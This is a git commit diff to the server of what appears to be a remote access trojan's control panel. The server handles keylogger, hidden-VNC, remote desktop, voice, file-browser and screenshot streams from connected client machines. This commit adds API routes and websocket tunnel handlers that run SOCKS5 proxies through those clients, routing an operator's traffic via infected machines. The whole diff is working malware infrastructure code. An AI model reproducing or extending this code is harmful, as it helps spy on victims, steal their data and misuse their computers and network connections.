add new socks5 update

This commit is contained in:
KingKDot
2026-03-15 16:14:50 -05:00
parent d4934e282d
commit de9b986972
21 changed files with 1087 additions and 717 deletions
@@ -6,6 +6,11 @@ import { metrics } from "../../metrics";
import { requirePermission } from "../../rbac";
import { getUserTelegramChatId, setUserTelegramChatId } from "../../users";
import { runCertbotSetup } from "../certbot-setup";
import {
getActiveProxies,
startProxy,
stopProxy,
} from "../socks5-proxy-manager";
type MiscRouteDeps = {
CORS_HEADERS: Record<string, string>;
@@ -318,5 +323,70 @@ export async function handleMiscRoutes(
return Response.json(result, { headers: deps.CORS_HEADERS });
}
if (req.method === "GET" && url.pathname === "/api/proxy/list") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role === "viewer") {
return new Response("Forbidden", { status: 403 });
}
return Response.json({ proxies: getActiveProxies() }, { headers: deps.CORS_HEADERS });
}
if (req.method === "POST" && url.pathname === "/api/proxy/start") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role === "viewer") {
return new Response("Forbidden", { status: 403 });
}
let body: any = {};
try {
body = await req.json();
} catch {
return Response.json({ ok: false, message: "Invalid JSON" }, { status: 400 });
}
const clientId = typeof body?.clientId === "string" ? body.clientId.trim() : "";
const port = typeof body?.port === "number" ? Math.floor(body.port) : 0;
if (!clientId) {
return Response.json({ ok: false, message: "clientId is required" }, { status: 400 });
}
if (port < 1 || port > 65535) {
return Response.json({ ok: false, message: "port must be 1-65535" }, { status: 400 });
}
const result = startProxy(clientId, port);
return Response.json(result, {
status: result.ok ? 200 : 400,
headers: deps.CORS_HEADERS,
});
}
if (req.method === "POST" && url.pathname === "/api/proxy/stop") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role === "viewer") {
return new Response("Forbidden", { status: 403 });
}
let body: any = {};
try {
body = await req.json();
} catch {
return Response.json({ ok: false, message: "Invalid JSON" }, { status: 400 });
}
const port = typeof body?.port === "number" ? Math.floor(body.port) : 0;
if (port < 1 || port > 65535) {
return Response.json({ ok: false, message: "port must be 1-65535" }, { status: 400 });
}
const result = stopProxy(port);
return Response.json(result, {
status: result.ok ? 200 : 400,
headers: deps.CORS_HEADERS,
});
}
return null;
}
@@ -381,22 +381,19 @@ export async function handlePageRoutes(
}
}
const proxyPageMatch = url.pathname.match(/^\/(.+)\/proxy$/);
if (req.method === "GET" && proxyPageMatch) {
if (req.method === "GET" && url.pathname === "/socks5-manager") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
if (!canAccessClientPage(user.userId, user.role, proxyPageMatch[1])) {
return new Response("Forbidden: Client access denied", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/proxy.html`);
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
if (maybeChange) return maybeChange;
const file = Bun.file(`${deps.PUBLIC_ROOT}/socks5-manager.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("proxy.html")) });
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("socks5-manager.html")) });
}
}
@@ -11,6 +11,7 @@ import type { SocketData } from "../../sessions/types";
import type { ClientInfo } from "../../types";
import { clearClientSyncState, handleFrame, handleHello, handlePing, handlePong } from "../../wsHandlers";
import { getMaxPayloadLimit, getMessageByteLength, isAllowedClientMessageType } from "../../wsValidation";
import { stopAllProxiesForClient } from "../socks5-proxy-manager";
type PendingScript = {
timeout: ReturnType<typeof setTimeout>;
@@ -38,7 +39,6 @@ type WsLifecycleDeps = {
handleFileBrowserViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleProcessViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleKeyloggerViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleProxyViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleVoiceViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleNotificationViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleConsoleViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
@@ -48,7 +48,6 @@ type WsLifecycleDeps = {
handleFileBrowserViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleProcessViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleKeyloggerViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleProxyViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleVoiceViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
dispatchAutoScriptsForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
takePendingNotificationScreenshot: (clientId: string) => any;
@@ -62,7 +61,9 @@ type WsLifecycleDeps = {
handleNotificationScreenshotResult: (clientId: string, payload: any) => void;
handleConsoleOutput: (payload: any) => void;
handleFileBrowserMessage: (clientId: string, payload: any) => void;
handleProxyMessage: (clientId: string, payload: any) => void;
handleProxyTunnelData: (clientId: string, connectionId: string, data: Uint8Array) => void;
handleProxyTunnelClose: (clientId: string, connectionId: string) => void;
handleProxyConnectResult: (clientId: string, connectionId: string, ok: boolean) => void;
handleProcessMessage: (clientId: string, payload: any) => void;
handleKeyloggerMessage: (clientId: string, payload: any) => void;
notifyRdInputLatency: (commandId: string) => void;
@@ -93,7 +94,6 @@ export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLif
if (role === "file_browser_viewer") return deps.handleFileBrowserViewerOpen(ws);
if (role === "process_viewer") return deps.handleProcessViewerOpen(ws);
if (role === "keylogger_viewer") return deps.handleKeyloggerViewerOpen(ws);
if (role === "proxy_viewer") return deps.handleProxyViewerOpen(ws);
if (role === "voice_viewer") return deps.handleVoiceViewerOpen(ws);
if (role === "notifications_viewer") return deps.handleNotificationViewerOpen(ws);
@@ -152,7 +152,6 @@ export function handleWebSocketMessage(
if (socketRole === "file_browser_viewer") return deps.handleFileBrowserViewerMessage(ws, message);
if (socketRole === "process_viewer") return deps.handleProcessViewerMessage(ws, message);
if (socketRole === "keylogger_viewer") return deps.handleKeyloggerViewerMessage(ws, message);
if (socketRole === "proxy_viewer") return deps.handleProxyViewerMessage(ws, message);
if (socketRole === "voice_viewer") return deps.handleVoiceViewerMessage(ws, message);
if (socketRole === "notifications_viewer") return;
@@ -258,7 +257,13 @@ export function handleWebSocketMessage(
(payload as any).message,
);
deps.handleFileBrowserMessage(info.id, payload);
deps.handleProxyMessage(info.id, payload);
if (payloadType === "command_result" && typeof (payload as any).commandId === "string") {
deps.handleProxyConnectResult(
info.id,
(payload as any).commandId,
Boolean((payload as any).ok),
);
}
break;
case "command_progress":
deps.handleFileBrowserMessage(info.id, payload);
@@ -304,6 +309,22 @@ export function handleWebSocketMessage(
case "hvnc_clone_progress":
deps.handleHVNCCloneProgress(info.id, payload);
break;
case "proxy_data": {
const connId = (payload as any).connectionId;
const tunnelData = (payload as any).data;
if (typeof connId === "string" && tunnelData) {
const bytes = tunnelData instanceof Uint8Array ? tunnelData : new Uint8Array(tunnelData);
deps.handleProxyTunnelData(info.id, connId, bytes);
}
break;
}
case "proxy_close": {
const connId = (payload as any).connectionId;
if (typeof connId === "string") {
deps.handleProxyTunnelClose(info.id, connId);
}
break;
}
default:
break;
}
@@ -414,13 +435,6 @@ export function handleWebSocketClose(
return;
}
if (role === "proxy_viewer") {
if (sessionId) {
sessionManager.deleteProxySession(sessionId);
}
return;
}
if (role === "voice_viewer") {
deps.cleanupVoiceViewer(ws);
return;
@@ -434,6 +448,7 @@ export function handleWebSocketClose(
}
clientManager.deleteClient(clientId);
stopAllProxiesForClient(clientId);
clearClientSyncState(clientId);
deps.notifyConsoleClosed(clientId, "Client disconnected");
setOnlineState(clientId, false);
@@ -163,24 +163,6 @@ export async function handleWsUpgradeRoutes(
return new Response("Upgrade failed", { status: 500 });
}
const proxyMatch = url.pathname.match(/^\/api\/clients\/(.+)\/proxy\/ws$/);
if (proxyMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = proxyMatch[1];
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "proxy_viewer", clientId, ip, userRole: user.role } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
const voiceMatch = url.pathname.match(/^\/api\/clients\/(.+)\/voice\/ws$/);
if (voiceMatch) {
const user = await authenticateRequest(req);